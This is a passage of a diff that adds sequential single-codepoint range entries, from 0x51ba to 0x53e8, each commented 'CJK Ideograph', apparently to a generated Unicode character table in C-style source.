+ [0x51ba, 0x51ba], /* CJK Ideograph */
+ [0x51bb, 0x51bb], /* CJK Ideograph */
+ [0x51bc, 0x51bc], /* CJK Ideograph */
+ [0x51bd, 0x51bd], /* CJK Ideograph */
+ [0x51be, 0x51be], /* CJK Ideograph */
+ [0x51bf, 0x51bf], /* CJK Ideograph */
+ [0x51c0, 0x51c0], /* CJK Ideograph */
+ [0x51c1, 0x51c1], /* CJK Ideograph */
+ [0x51c2, 0x51c2], /* CJK Ideograph */
+ [0x51c3, 0x51c3], /* CJK Ideograph */
+ [0x51c4, 0x51c4], /* CJK Ideograph */
+ [0x51c5, 0x51c5], /* CJK Ideograph */
+ [0x51c6, 0x51c6], /* CJK Ideograph */
+ [0x51c7, 0x51c7], /* CJK Ideograph */
+ [0x51c8, 0x51c8], /* CJK Ideograph */
+ [0x51c9, 0x51c9], /* CJK Ideograph */
+ [0x51ca, 0x51ca], /* CJK Ideograph */
+ [0x51cb, 0x51cb], /* CJK Ideograph */
+ [0x51cc, 0x51cc], /* CJK Ideograph */
+ [0x51cd, 0x51cd], /* CJK Ideograph */
+ [0x51ce, 0x51ce], /* CJK Ideograph */
+ [0x51cf, 0x51cf], /* CJK Ideograph */
+ [0x51d0, 0x51d0], /* CJK Ideograph */
+ [0x51d1, 0x51d1], /* CJK Ideograph */
+ [0x51d2, 0x51d2], /* CJK Ideograph */
+ [0x51d3, 0x51d3], /* CJK Ideograph */
+ [0x51d4, 0x51d4], /* CJK Ideograph */
+ [0x51d5, 0x51d5], /* CJK Ideograph */
+ [0x51d6, 0x51d6], /* CJK Ideograph */
+ [0x51d7, 0x51d7], /* CJK Ideograph */
+ [0x51d8, 0x51d8], /* CJK Ideograph */
+ [0x51d9, 0x51d9], /* CJK Ideograph */
+ [0x51da, 0x51da], /* CJK Ideograph */
+ [0x51db, 0x51db], /* CJK Ideograph */
+ [0x51dc, 0x51dc], /* CJK Ideograph */
+ [0x51dd, 0x51dd], /* CJK Ideograph */
+ [0x51de, 0x51de], /* CJK Ideograph */
+ [0x51df, 0x51df], /* CJK Ideograph */
+ [0x51e0, 0x51e0], /* CJK Ideograph */
+ [0x51e1, 0x51e1], /* CJK Ideograph */
+ [0x51e2, 0x51e2], /* CJK Ideograph */
+ [0x51e3, 0x51e3], /* CJK Ideograph */
+ [0x51e4, 0x51e4], /* CJK Ideograph */
+ [0x51e5, 0x51e5], /* CJK Ideograph */
+ [0x51e6, 0x51e6], /* CJK Ideograph */
+ [0x51e7, 0x51e7], /* CJK Ideograph */
+ [0x51e8, 0x51e8], /* CJK Ideograph */
+ [0x51e9, 0x51e9], /* CJK Ideograph */
+ [0x51ea, 0x51ea], /* CJK Ideograph */
+ [0x51eb, 0x51eb], /* CJK Ideograph */
+ [0x51ec, 0x51ec], /* CJK Ideograph */
+ [0x51ed, 0x51ed], /* CJK Ideograph */
+ [0x51ee, 0x51ee], /* CJK Ideograph */
+ [0x51ef, 0x51ef], /* CJK Ideograph */
+ [0x51f0, 0x51f0], /* CJK Ideograph */
+ [0x51f1, 0x51f1], /* CJK Ideograph */
+ [0x51f2, 0x51f2], /* CJK Ideograph */
+ [0x51f3, 0x51f3], /* CJK Ideograph */
+ [0x51f4, 0x51f4], /* CJK Ideograph */
+ [0x51f5, 0x51f5], /* CJK Ideograph */
+ [0x51f6, 0x51f6], /* CJK Ideograph */
+ [0x51f7, 0x51f7], /* CJK Ideograph */
+ [0x51f8, 0x51f8], /* CJK Ideograph */
+ [0x51f9, 0x51f9], /* CJK Ideograph */
+ [0x51fa, 0x51fa], /* CJK Ideograph */
+ [0x51fb, 0x51fb], /* CJK Ideograph */
+ [0x51fc, 0x51fc], /* CJK Ideograph */
+ [0x51fd, 0x51fd], /* CJK Ideograph */
+ [0x51fe, 0x51fe], /* CJK Ideograph */
+ [0x51ff, 0x51ff], /* CJK Ideograph */
+ [0x5200, 0x5200], /* CJK Ideograph */
+ [0x5201, 0x5201], /* CJK Ideograph */
+ [0x5202, 0x5202], /* CJK Ideograph */
+ [0x5203, 0x5203], /* CJK Ideograph */
+ [0x5204, 0x5204], /* CJK Ideograph */
+ [0x5205, 0x5205], /* CJK Ideograph */
+ [0x5206, 0x5206], /* CJK Ideograph */
+ [0x5207, 0x5207], /* CJK Ideograph */
+ [0x5208, 0x5208], /* CJK Ideograph */
+ [0x5209, 0x5209], /* CJK Ideograph */
+ [0x520a, 0x520a], /* CJK Ideograph */
+ [0x520b, 0x520b], /* CJK Ideograph */
+ [0x520c, 0x520c], /* CJK Ideograph */
+ [0x520d, 0x520d], /* CJK Ideograph */
+ [0x520e, 0x520e], /* CJK Ideograph */
+ [0x520f, 0x520f], /* CJK Ideograph */
+ [0x5210, 0x5210], /* CJK Ideograph */
+ [0x5211, 0x5211], /* CJK Ideograph */
+ [0x5212, 0x5212], /* CJK Ideograph */
+ [0x5213, 0x5213], /* CJK Ideograph */
+ [0x5214, 0x5214], /* CJK Ideograph */
+ [0x5215, 0x5215], /* CJK Ideograph */
+ [0x5216, 0x5216], /* CJK Ideograph */
+ [0x5217, 0x5217], /* CJK Ideograph */
+ [0x5218, 0x5218], /* CJK Ideograph */
+ [0x5219, 0x5219], /* CJK Ideograph */
+ [0x521a, 0x521a], /* CJK Ideograph */
+ [0x521b, 0x521b], /* CJK Ideograph */
+ [0x521c, 0x521c], /* CJK Ideograph */
+ [0x521d, 0x521d], /* CJK Ideograph */
+ [0x521e, 0x521e], /* CJK Ideograph */
+ [0x521f, 0x521f], /* CJK Ideograph */
+ [0x5220, 0x5220], /* CJK Ideograph */
+ [0x5221, 0x5221], /* CJK Ideograph */
+ [0x5222, 0x5222], /* CJK Ideograph */
+ [0x5223, 0x5223], /* CJK Ideograph */
+ [0x5224, 0x5224], /* CJK Ideograph */
+ [0x5225, 0x5225], /* CJK Ideograph */
+ [0x5226, 0x5226], /* CJK Ideograph */
+ [0x5227, 0x5227], /* CJK Ideograph */
+ [0x5228, 0x5228], /* CJK Ideograph */
+ [0x5229, 0x5229], /* CJK Ideograph */
+ [0x522a, 0x522a], /* CJK Ideograph */
+ [0x522b, 0x522b], /* CJK Ideograph */
+ [0x522c, 0x522c], /* CJK Ideograph */
+ [0x522d, 0x522d], /* CJK Ideograph */
+ [0x522e, 0x522e], /* CJK Ideograph */
+ [0x522f, 0x522f], /* CJK Ideograph */
+ [0x5230, 0x5230], /* CJK Ideograph */
+ [0x5231, 0x5231], /* CJK Ideograph */
+ [0x5232, 0x5232], /* CJK Ideograph */
+ [0x5233, 0x5233], /* CJK Ideograph */
+ [0x5234, 0x5234], /* CJK Ideograph */
+ [0x5235, 0x5235], /* CJK Ideograph */
+ [0x5236, 0x5236], /* CJK Ideograph */
+ [0x5237, 0x5237], /* CJK Ideograph */
+ [0x5238, 0x5238], /* CJK Ideograph */
+ [0x5239, 0x5239], /* CJK Ideograph */
+ [0x523a, 0x523a], /* CJK Ideograph */
+ [0x523b, 0x523b], /* CJK Ideograph */
+ [0x523c, 0x523c], /* CJK Ideograph */
+ [0x523d, 0x523d], /* CJK Ideograph */
+ [0x523e, 0x523e], /* CJK Ideograph */
+ [0x523f, 0x523f], /* CJK Ideograph */
+ [0x5240, 0x5240], /* CJK Ideograph */
+ [0x5241, 0x5241], /* CJK Ideograph */
+ [0x5242, 0x5242], /* CJK Ideograph */
+ [0x5243, 0x5243], /* CJK Ideograph */
+ [0x5244, 0x5244], /* CJK Ideograph */
+ [0x5245, 0x5245], /* CJK Ideograph */
+ [0x5246, 0x5246], /* CJK Ideograph */
+ [0x5247, 0x5247], /* CJK Ideograph */
+ [0x5248, 0x5248], /* CJK Ideograph */
+ [0x5249, 0x5249], /* CJK Ideograph */
+ [0x524a, 0x524a], /* CJK Ideograph */
+ [0x524b, 0x524b], /* CJK Ideograph */
+ [0x524c, 0x524c], /* CJK Ideograph */
+ [0x524d, 0x524d], /* CJK Ideograph */
+ [0x524e, 0x524e], /* CJK Ideograph */
+ [0x524f, 0x524f], /* CJK Ideograph */
+ [0x5250, 0x5250], /* CJK Ideograph */
+ [0x5251, 0x5251], /* CJK Ideograph */
+ [0x5252, 0x5252], /* CJK Ideograph */
+ [0x5253, 0x5253], /* CJK Ideograph */
+ [0x5254, 0x5254], /* CJK Ideograph */
+ [0x5255, 0x5255], /* CJK Ideograph */
+ [0x5256, 0x5256], /* CJK Ideograph */
+ [0x5257, 0x5257], /* CJK Ideograph */
+ [0x5258, 0x5258], /* CJK Ideograph */
+ [0x5259, 0x5259], /* CJK Ideograph */
+ [0x525a, 0x525a], /* CJK Ideograph */
+ [0x525b, 0x525b], /* CJK Ideograph */
+ [0x525c, 0x525c], /* CJK Ideograph */
+ [0x525d, 0x525d], /* CJK Ideograph */
+ [0x525e, 0x525e], /* CJK Ideograph */
+ [0x525f, 0x525f], /* CJK Ideograph */
+ [0x5260, 0x5260], /* CJK Ideograph */
+ [0x5261, 0x5261], /* CJK Ideograph */
+ [0x5262, 0x5262], /* CJK Ideograph */
+ [0x5263, 0x5263], /* CJK Ideograph */
+ [0x5264, 0x5264], /* CJK Ideograph */
+ [0x5265, 0x5265], /* CJK Ideograph */
+ [0x5266, 0x5266], /* CJK Ideograph */
+ [0x5267, 0x5267], /* CJK Ideograph */
+ [0x5268, 0x5268], /* CJK Ideograph */
+ [0x5269, 0x5269], /* CJK Ideograph */
+ [0x526a, 0x526a], /* CJK Ideograph */
+ [0x526b, 0x526b], /* CJK Ideograph */
+ [0x526c, 0x526c], /* CJK Ideograph */
+ [0x526d, 0x526d], /* CJK Ideograph */
+ [0x526e, 0x526e], /* CJK Ideograph */
+ [0x526f, 0x526f], /* CJK Ideograph */
+ [0x5270, 0x5270], /* CJK Ideograph */
+ [0x5271, 0x5271], /* CJK Ideograph */
+ [0x5272, 0x5272], /* CJK Ideograph */
+ [0x5273, 0x5273], /* CJK Ideograph */
+ [0x5274, 0x5274], /* CJK Ideograph */
+ [0x5275, 0x5275], /* CJK Ideograph */
+ [0x5276, 0x5276], /* CJK Ideograph */
+ [0x5277, 0x5277], /* CJK Ideograph */
+ [0x5278, 0x5278], /* CJK Ideograph */
+ [0x5279, 0x5279], /* CJK Ideograph */
+ [0x527a, 0x527a], /* CJK Ideograph */
+ [0x527b, 0x527b], /* CJK Ideograph */
+ [0x527c, 0x527c], /* CJK Ideograph */
+ [0x527d, 0x527d], /* CJK Ideograph */
+ [0x527e, 0x527e], /* CJK Ideograph */
+ [0x527f, 0x527f], /* CJK Ideograph */
+ [0x5280, 0x5280], /* CJK Ideograph */
+ [0x5281, 0x5281], /* CJK Ideograph */
+ [0x5282, 0x5282], /* CJK Ideograph */
+ [0x5283, 0x5283], /* CJK Ideograph */
+ [0x5284, 0x5284], /* CJK Ideograph */
+ [0x5285, 0x5285], /* CJK Ideograph */
+ [0x5286, 0x5286], /* CJK Ideograph */
+ [0x5287, 0x5287], /* CJK Ideograph */
+ [0x5288, 0x5288], /* CJK Ideograph */
+ [0x5289, 0x5289], /* CJK Ideograph */
+ [0x528a, 0x528a], /* CJK Ideograph */
+ [0x528b, 0x528b], /* CJK Ideograph */
+ [0x528c, 0x528c], /* CJK Ideograph */
+ [0x528d, 0x528d], /* CJK Ideograph */
+ [0x528e, 0x528e], /* CJK Ideograph */
+ [0x528f, 0x528f], /* CJK Ideograph */
+ [0x5290, 0x5290], /* CJK Ideograph */
+ [0x5291, 0x5291], /* CJK Ideograph */
+ [0x5292, 0x5292], /* CJK Ideograph */
+ [0x5293, 0x5293], /* CJK Ideograph */
+ [0x5294, 0x5294], /* CJK Ideograph */
+ [0x5295, 0x5295], /* CJK Ideograph */
+ [0x5296, 0x5296], /* CJK Ideograph */
+ [0x5297, 0x5297], /* CJK Ideograph */
+ [0x5298, 0x5298], /* CJK Ideograph */
+ [0x5299, 0x5299], /* CJK Ideograph */
+ [0x529a, 0x529a], /* CJK Ideograph */
+ [0x529b, 0x529b], /* CJK Ideograph */
+ [0x529c, 0x529c], /* CJK Ideograph */
+ [0x529d, 0x529d], /* CJK Ideograph */
+ [0x529e, 0x529e], /* CJK Ideograph */
+ [0x529f, 0x529f], /* CJK Ideograph */
+ [0x52a0, 0x52a0], /* CJK Ideograph */
+ [0x52a1, 0x52a1], /* CJK Ideograph */
+ [0x52a2, 0x52a2], /* CJK Ideograph */
+ [0x52a3, 0x52a3], /* CJK Ideograph */
+ [0x52a4, 0x52a4], /* CJK Ideograph */
+ [0x52a5, 0x52a5], /* CJK Ideograph */
+ [0x52a6, 0x52a6], /* CJK Ideograph */
+ [0x52a7, 0x52a7], /* CJK Ideograph */
+ [0x52a8, 0x52a8], /* CJK Ideograph */
+ [0x52a9, 0x52a9], /* CJK Ideograph */
+ [0x52aa, 0x52aa], /* CJK Ideograph */
+ [0x52ab, 0x52ab], /* CJK Ideograph */
+ [0x52ac, 0x52ac], /* CJK Ideograph */
+ [0x52ad, 0x52ad], /* CJK Ideograph */
+ [0x52ae, 0x52ae], /* CJK Ideograph */
+ [0x52af, 0x52af], /* CJK Ideograph */
+ [0x52b0, 0x52b0], /* CJK Ideograph */
+ [0x52b1, 0x52b1], /* CJK Ideograph */
+ [0x52b2, 0x52b2], /* CJK Ideograph */
+ [0x52b3, 0x52b3], /* CJK Ideograph */
+ [0x52b4, 0x52b4], /* CJK Ideograph */
+ [0x52b5, 0x52b5], /* CJK Ideograph */
+ [0x52b6, 0x52b6], /* CJK Ideograph */
+ [0x52b7, 0x52b7], /* CJK Ideograph */
+ [0x52b8, 0x52b8], /* CJK Ideograph */
+ [0x52b9, 0x52b9], /* CJK Ideograph */
+ [0x52ba, 0x52ba], /* CJK Ideograph */
+ [0x52bb, 0x52bb], /* CJK Ideograph */
+ [0x52bc, 0x52bc], /* CJK Ideograph */
+ [0x52bd, 0x52bd], /* CJK Ideograph */
+ [0x52be, 0x52be], /* CJK Ideograph */
+ [0x52bf, 0x52bf], /* CJK Ideograph */
+ [0x52c0, 0x52c0], /* CJK Ideograph */
+ [0x52c1, 0x52c1], /* CJK Ideograph */
+ [0x52c2, 0x52c2], /* CJK Ideograph */
+ [0x52c3, 0x52c3], /* CJK Ideograph */
+ [0x52c4, 0x52c4], /* CJK Ideograph */
+ [0x52c5, 0x52c5], /* CJK Ideograph */
+ [0x52c6, 0x52c6], /* CJK Ideograph */
+ [0x52c7, 0x52c7], /* CJK Ideograph */
+ [0x52c8, 0x52c8], /* CJK Ideograph */
+ [0x52c9, 0x52c9], /* CJK Ideograph */
+ [0x52ca, 0x52ca], /* CJK Ideograph */
+ [0x52cb, 0x52cb], /* CJK Ideograph */
+ [0x52cc, 0x52cc], /* CJK Ideograph */
+ [0x52cd, 0x52cd], /* CJK Ideograph */
+ [0x52ce, 0x52ce], /* CJK Ideograph */
+ [0x52cf, 0x52cf], /* CJK Ideograph */
+ [0x52d0, 0x52d0], /* CJK Ideograph */
+ [0x52d1, 0x52d1], /* CJK Ideograph */
+ [0x52d2, 0x52d2], /* CJK Ideograph */
+ [0x52d3, 0x52d3], /* CJK Ideograph */
+ [0x52d4, 0x52d4], /* CJK Ideograph */
+ [0x52d5, 0x52d5], /* CJK Ideograph */
+ [0x52d6, 0x52d6], /* CJK Ideograph */
+ [0x52d7, 0x52d7], /* CJK Ideograph */
+ [0x52d8, 0x52d8], /* CJK Ideograph */
+ [0x52d9, 0x52d9], /* CJK Ideograph */
+ [0x52da, 0x52da], /* CJK Ideograph */
+ [0x52db, 0x52db], /* CJK Ideograph */
+ [0x52dc, 0x52dc], /* CJK Ideograph */
+ [0x52dd, 0x52dd], /* CJK Ideograph */
+ [0x52de, 0x52de], /* CJK Ideograph */
+ [0x52df, 0x52df], /* CJK Ideograph */
+ [0x52e0, 0x52e0], /* CJK Ideograph */
+ [0x52e1, 0x52e1], /* CJK Ideograph */
+ [0x52e2, 0x52e2], /* CJK Ideograph */
+ [0x52e3, 0x52e3], /* CJK Ideograph */
+ [0x52e4, 0x52e4], /* CJK Ideograph */
+ [0x52e5, 0x52e5], /* CJK Ideograph */
+ [0x52e6, 0x52e6], /* CJK Ideograph */
+ [0x52e7, 0x52e7], /* CJK Ideograph */
+ [0x52e8, 0x52e8], /* CJK Ideograph */
+ [0x52e9, 0x52e9], /* CJK Ideograph */
+ [0x52ea, 0x52ea], /* CJK Ideograph */
+ [0x52eb, 0x52eb], /* CJK Ideograph */
+ [0x52ec, 0x52ec], /* CJK Ideograph */
+ [0x52ed, 0x52ed], /* CJK Ideograph */
+ [0x52ee, 0x52ee], /* CJK Ideograph */
+ [0x52ef, 0x52ef], /* CJK Ideograph */
+ [0x52f0, 0x52f0], /* CJK Ideograph */
+ [0x52f1, 0x52f1], /* CJK Ideograph */
+ [0x52f2, 0x52f2], /* CJK Ideograph */
+ [0x52f3, 0x52f3], /* CJK Ideograph */
+ [0x52f4, 0x52f4], /* CJK Ideograph */
+ [0x52f5, 0x52f5], /* CJK Ideograph */
+ [0x52f6, 0x52f6], /* CJK Ideograph */
+ [0x52f7, 0x52f7], /* CJK Ideograph */
+ [0x52f8, 0x52f8], /* CJK Ideograph */
+ [0x52f9, 0x52f9], /* CJK Ideograph */
+ [0x52fa, 0x52fa], /* CJK Ideograph */
+ [0x52fb, 0x52fb], /* CJK Ideograph */
+ [0x52fc, 0x52fc], /* CJK Ideograph */
+ [0x52fd, 0x52fd], /* CJK Ideograph */
+ [0x52fe, 0x52fe], /* CJK Ideograph */
+ [0x52ff, 0x52ff], /* CJK Ideograph */
+ [0x5300, 0x5300], /* CJK Ideograph */
+ [0x5301, 0x5301], /* CJK Ideograph */
+ [0x5302, 0x5302], /* CJK Ideograph */
+ [0x5303, 0x5303], /* CJK Ideograph */
+ [0x5304, 0x5304], /* CJK Ideograph */
+ [0x5305, 0x5305], /* CJK Ideograph */
+ [0x5306, 0x5306], /* CJK Ideograph */
+ [0x5307, 0x5307], /* CJK Ideograph */
+ [0x5308, 0x5308], /* CJK Ideograph */
+ [0x5309, 0x5309], /* CJK Ideograph */
+ [0x530a, 0x530a], /* CJK Ideograph */
+ [0x530b, 0x530b], /* CJK Ideograph */
+ [0x530c, 0x530c], /* CJK Ideograph */
+ [0x530d, 0x530d], /* CJK Ideograph */
+ [0x530e, 0x530e], /* CJK Ideograph */
+ [0x530f, 0x530f], /* CJK Ideograph */
+ [0x5310, 0x5310], /* CJK Ideograph */
+ [0x5311, 0x5311], /* CJK Ideograph */
+ [0x5312, 0x5312], /* CJK Ideograph */
+ [0x5313, 0x5313], /* CJK Ideograph */
+ [0x5314, 0x5314], /* CJK Ideograph */
+ [0x5315, 0x5315], /* CJK Ideograph */
+ [0x5316, 0x5316], /* CJK Ideograph */
+ [0x5317, 0x5317], /* CJK Ideograph */
+ [0x5318, 0x5318], /* CJK Ideograph */
+ [0x5319, 0x5319], /* CJK Ideograph */
+ [0x531a, 0x531a], /* CJK Ideograph */
+ [0x531b, 0x531b], /* CJK Ideograph */
+ [0x531c, 0x531c], /* CJK Ideograph */
+ [0x531d, 0x531d], /* CJK Ideograph */
+ [0x531e, 0x531e], /* CJK Ideograph */
+ [0x531f, 0x531f], /* CJK Ideograph */
+ [0x5320, 0x5320], /* CJK Ideograph */
+ [0x5321, 0x5321], /* CJK Ideograph */
+ [0x5322, 0x5322], /* CJK Ideograph */
+ [0x5323, 0x5323], /* CJK Ideograph */
+ [0x5324, 0x5324], /* CJK Ideograph */
+ [0x5325, 0x5325], /* CJK Ideograph */
+ [0x5326, 0x5326], /* CJK Ideograph */
+ [0x5327, 0x5327], /* CJK Ideograph */
+ [0x5328, 0x5328], /* CJK Ideograph */
+ [0x5329, 0x5329], /* CJK Ideograph */
+ [0x532a, 0x532a], /* CJK Ideograph */
+ [0x532b, 0x532b], /* CJK Ideograph */
+ [0x532c, 0x532c], /* CJK Ideograph */
+ [0x532d, 0x532d], /* CJK Ideograph */
+ [0x532e, 0x532e], /* CJK Ideograph */
+ [0x532f, 0x532f], /* CJK Ideograph */
+ [0x5330, 0x5330], /* CJK Ideograph */
+ [0x5331, 0x5331], /* CJK Ideograph */
+ [0x5332, 0x5332], /* CJK Ideograph */
+ [0x5333, 0x5333], /* CJK Ideograph */
+ [0x5334, 0x5334], /* CJK Ideograph */
+ [0x5335, 0x5335], /* CJK Ideograph */
+ [0x5336, 0x5336], /* CJK Ideograph */
+ [0x5337, 0x5337], /* CJK Ideograph */
+ [0x5338, 0x5338], /* CJK Ideograph */
+ [0x5339, 0x5339], /* CJK Ideograph */
+ [0x533a, 0x533a], /* CJK Ideograph */
+ [0x533b, 0x533b], /* CJK Ideograph */
+ [0x533c, 0x533c], /* CJK Ideograph */
+ [0x533d, 0x533d], /* CJK Ideograph */
+ [0x533e, 0x533e], /* CJK Ideograph */
+ [0x533f, 0x533f], /* CJK Ideograph */
+ [0x5340, 0x5340], /* CJK Ideograph */
+ [0x5341, 0x5341], /* CJK Ideograph */
+ [0x5342, 0x5342], /* CJK Ideograph */
+ [0x5343, 0x5343], /* CJK Ideograph */
+ [0x5344, 0x5344], /* CJK Ideograph */
+ [0x5345, 0x5345], /* CJK Ideograph */
+ [0x5346, 0x5346], /* CJK Ideograph */
+ [0x5347, 0x5347], /* CJK Ideograph */
+ [0x5348, 0x5348], /* CJK Ideograph */
+ [0x5349, 0x5349], /* CJK Ideograph */
+ [0x534a, 0x534a], /* CJK Ideograph */
+ [0x534b, 0x534b], /* CJK Ideograph */
+ [0x534c, 0x534c], /* CJK Ideograph */
+ [0x534d, 0x534d], /* CJK Ideograph */
+ [0x534e, 0x534e], /* CJK Ideograph */
+ [0x534f, 0x534f], /* CJK Ideograph */
+ [0x5350, 0x5350], /* CJK Ideograph */
+ [0x5351, 0x5351], /* CJK Ideograph */
+ [0x5352, 0x5352], /* CJK Ideograph */
+ [0x5353, 0x5353], /* CJK Ideograph */
+ [0x5354, 0x5354], /* CJK Ideograph */
+ [0x5355, 0x5355], /* CJK Ideograph */
+ [0x5356, 0x5356], /* CJK Ideograph */
+ [0x5357, 0x5357], /* CJK Ideograph */
+ [0x5358, 0x5358], /* CJK Ideograph */
+ [0x5359, 0x5359], /* CJK Ideograph */
+ [0x535a, 0x535a], /* CJK Ideograph */
+ [0x535b, 0x535b], /* CJK Ideograph */
+ [0x535c, 0x535c], /* CJK Ideograph */
+ [0x535d, 0x535d], /* CJK Ideograph */
+ [0x535e, 0x535e], /* CJK Ideograph */
+ [0x535f, 0x535f], /* CJK Ideograph */
+ [0x5360, 0x5360], /* CJK Ideograph */
+ [0x5361, 0x5361], /* CJK Ideograph */
+ [0x5362, 0x5362], /* CJK Ideograph */
+ [0x5363, 0x5363], /* CJK Ideograph */
+ [0x5364, 0x5364], /* CJK Ideograph */
+ [0x5365, 0x5365], /* CJK Ideograph */
+ [0x5366, 0x5366], /* CJK Ideograph */
+ [0x5367, 0x5367], /* CJK Ideograph */
+ [0x5368, 0x5368], /* CJK Ideograph */
+ [0x5369, 0x5369], /* CJK Ideograph */
+ [0x536a, 0x536a], /* CJK Ideograph */
+ [0x536b, 0x536b], /* CJK Ideograph */
+ [0x536c, 0x536c], /* CJK Ideograph */
+ [0x536d, 0x536d], /* CJK Ideograph */
+ [0x536e, 0x536e], /* CJK Ideograph */
+ [0x536f, 0x536f], /* CJK Ideograph */
+ [0x5370, 0x5370], /* CJK Ideograph */
+ [0x5371, 0x5371], /* CJK Ideograph */
+ [0x5372, 0x5372], /* CJK Ideograph */
+ [0x5373, 0x5373], /* CJK Ideograph */
+ [0x5374, 0x5374], /* CJK Ideograph */
+ [0x5375, 0x5375], /* CJK Ideograph */
+ [0x5376, 0x5376], /* CJK Ideograph */
+ [0x5377, 0x5377], /* CJK Ideograph */
+ [0x5378, 0x5378], /* CJK Ideograph */
+ [0x5379, 0x5379], /* CJK Ideograph */
+ [0x537a, 0x537a], /* CJK Ideograph */
+ [0x537b, 0x537b], /* CJK Ideograph */
+ [0x537c, 0x537c], /* CJK Ideograph */
+ [0x537d, 0x537d], /* CJK Ideograph */
+ [0x537e, 0x537e], /* CJK Ideograph */
+ [0x537f, 0x537f], /* CJK Ideograph */
+ [0x5380, 0x5380], /* CJK Ideograph */
+ [0x5381, 0x5381], /* CJK Ideograph */
+ [0x5382, 0x5382], /* CJK Ideograph */
+ [0x5383, 0x5383], /* CJK Ideograph */
+ [0x5384, 0x5384], /* CJK Ideograph */
+ [0x5385, 0x5385], /* CJK Ideograph */
+ [0x5386, 0x5386], /* CJK Ideograph */
+ [0x5387, 0x5387], /* CJK Ideograph */
+ [0x5388, 0x5388], /* CJK Ideograph */
+ [0x5389, 0x5389], /* CJK Ideograph */
+ [0x538a, 0x538a], /* CJK Ideograph */
+ [0x538b, 0x538b], /* CJK Ideograph */
+ [0x538c, 0x538c], /* CJK Ideograph */
+ [0x538d, 0x538d], /* CJK Ideograph */
+ [0x538e, 0x538e], /* CJK Ideograph */
+ [0x538f, 0x538f], /* CJK Ideograph */
+ [0x5390, 0x5390], /* CJK Ideograph */
+ [0x5391, 0x5391], /* CJK Ideograph */
+ [0x5392, 0x5392], /* CJK Ideograph */
+ [0x5393, 0x5393], /* CJK Ideograph */
+ [0x5394, 0x5394], /* CJK Ideograph */
+ [0x5395, 0x5395], /* CJK Ideograph */
+ [0x5396, 0x5396], /* CJK Ideograph */
+ [0x5397, 0x5397], /* CJK Ideograph */
+ [0x5398, 0x5398], /* CJK Ideograph */
+ [0x5399, 0x5399], /* CJK Ideograph */
+ [0x539a, 0x539a], /* CJK Ideograph */
+ [0x539b, 0x539b], /* CJK Ideograph */
+ [0x539c, 0x539c], /* CJK Ideograph */
+ [0x539d, 0x539d], /* CJK Ideograph */
+ [0x539e, 0x539e], /* CJK Ideograph */
+ [0x539f, 0x539f], /* CJK Ideograph */
+ [0x53a0, 0x53a0], /* CJK Ideograph */
+ [0x53a1, 0x53a1], /* CJK Ideograph */
+ [0x53a2, 0x53a2], /* CJK Ideograph */
+ [0x53a3, 0x53a3], /* CJK Ideograph */
+ [0x53a4, 0x53a4], /* CJK Ideograph */
+ [0x53a5, 0x53a5], /* CJK Ideograph */
+ [0x53a6, 0x53a6], /* CJK Ideograph */
+ [0x53a7, 0x53a7], /* CJK Ideograph */
+ [0x53a8, 0x53a8], /* CJK Ideograph */
+ [0x53a9, 0x53a9], /* CJK Ideograph */
+ [0x53aa, 0x53aa], /* CJK Ideograph */
+ [0x53ab, 0x53ab], /* CJK Ideograph */
+ [0x53ac, 0x53ac], /* CJK Ideograph */
+ [0x53ad, 0x53ad], /* CJK Ideograph */
+ [0x53ae, 0x53ae], /* CJK Ideograph */
+ [0x53af, 0x53af], /* CJK Ideograph */
+ [0x53b0, 0x53b0], /* CJK Ideograph */
+ [0x53b1, 0x53b1], /* CJK Ideograph */
+ [0x53b2, 0x53b2], /* CJK Ideograph */
+ [0x53b3, 0x53b3], /* CJK Ideograph */
+ [0x53b4, 0x53b4], /* CJK Ideograph */
+ [0x53b5, 0x53b5], /* CJK Ideograph */
+ [0x53b6, 0x53b6], /* CJK Ideograph */
+ [0x53b7, 0x53b7], /* CJK Ideograph */
+ [0x53b8, 0x53b8], /* CJK Ideograph */
+ [0x53b9, 0x53b9], /* CJK Ideograph */
+ [0x53ba, 0x53ba], /* CJK Ideograph */
+ [0x53bb, 0x53bb], /* CJK Ideograph */
+ [0x53bc, 0x53bc], /* CJK Ideograph */
+ [0x53bd, 0x53bd], /* CJK Ideograph */
+ [0x53be, 0x53be], /* CJK Ideograph */
+ [0x53bf, 0x53bf], /* CJK Ideograph */
+ [0x53c0, 0x53c0], /* CJK Ideograph */
+ [0x53c1, 0x53c1], /* CJK Ideograph */
+ [0x53c2, 0x53c2], /* CJK Ideograph */
+ [0x53c3, 0x53c3], /* CJK Ideograph */
+ [0x53c4, 0x53c4], /* CJK Ideograph */
+ [0x53c5, 0x53c5], /* CJK Ideograph */
+ [0x53c6, 0x53c6], /* CJK Ideograph */
+ [0x53c7, 0x53c7], /* CJK Ideograph */
+ [0x53c8, 0x53c8], /* CJK Ideograph */
+ [0x53c9, 0x53c9], /* CJK Ideograph */
+ [0x53ca, 0x53ca], /* CJK Ideograph */
+ [0x53cb, 0x53cb], /* CJK Ideograph */
+ [0x53cc, 0x53cc], /* CJK Ideograph */
+ [0x53cd, 0x53cd], /* CJK Ideograph */
+ [0x53ce, 0x53ce], /* CJK Ideograph */
+ [0x53cf, 0x53cf], /* CJK Ideograph */
+ [0x53d0, 0x53d0], /* CJK Ideograph */
+ [0x53d1, 0x53d1], /* CJK Ideograph */
+ [0x53d2, 0x53d2], /* CJK Ideograph */
+ [0x53d3, 0x53d3], /* CJK Ideograph */
+ [0x53d4, 0x53d4], /* CJK Ideograph */
+ [0x53d5, 0x53d5], /* CJK Ideograph */
+ [0x53d6, 0x53d6], /* CJK Ideograph */
+ [0x53d7, 0x53d7], /* CJK Ideograph */
+ [0x53d8, 0x53d8], /* CJK Ideograph */
+ [0x53d9, 0x53d9], /* CJK Ideograph */
+ [0x53da, 0x53da], /* CJK Ideograph */
+ [0x53db, 0x53db], /* CJK Ideograph */
+ [0x53dc, 0x53dc], /* CJK Ideograph */
+ [0x53dd, 0x53dd], /* CJK Ideograph */
+ [0x53de, 0x53de], /* CJK Ideograph */
+ [0x53df, 0x53df], /* CJK Ideograph */
+ [0x53e0, 0x53e0], /* CJK Ideograph */
+ [0x53e1, 0x53e1], /* CJK Ideograph */
+ [0x53e2, 0x53e2], /* CJK Ideograph */
+ [0x53e3, 0x53e3], /* CJK Ideograph */
+ [0x53e4, 0x53e4], /* CJK Ideograph */
+ [0x53e5, 0x53e5], /* CJK Ideograph */
+ [0x53e6, 0x53e6], /* CJK Ideograph */
+ [0x53e7, 0x53e7], /* CJK Ideograph */
+ [0x53e8, 0x53e8], /* CJK Ideograph */
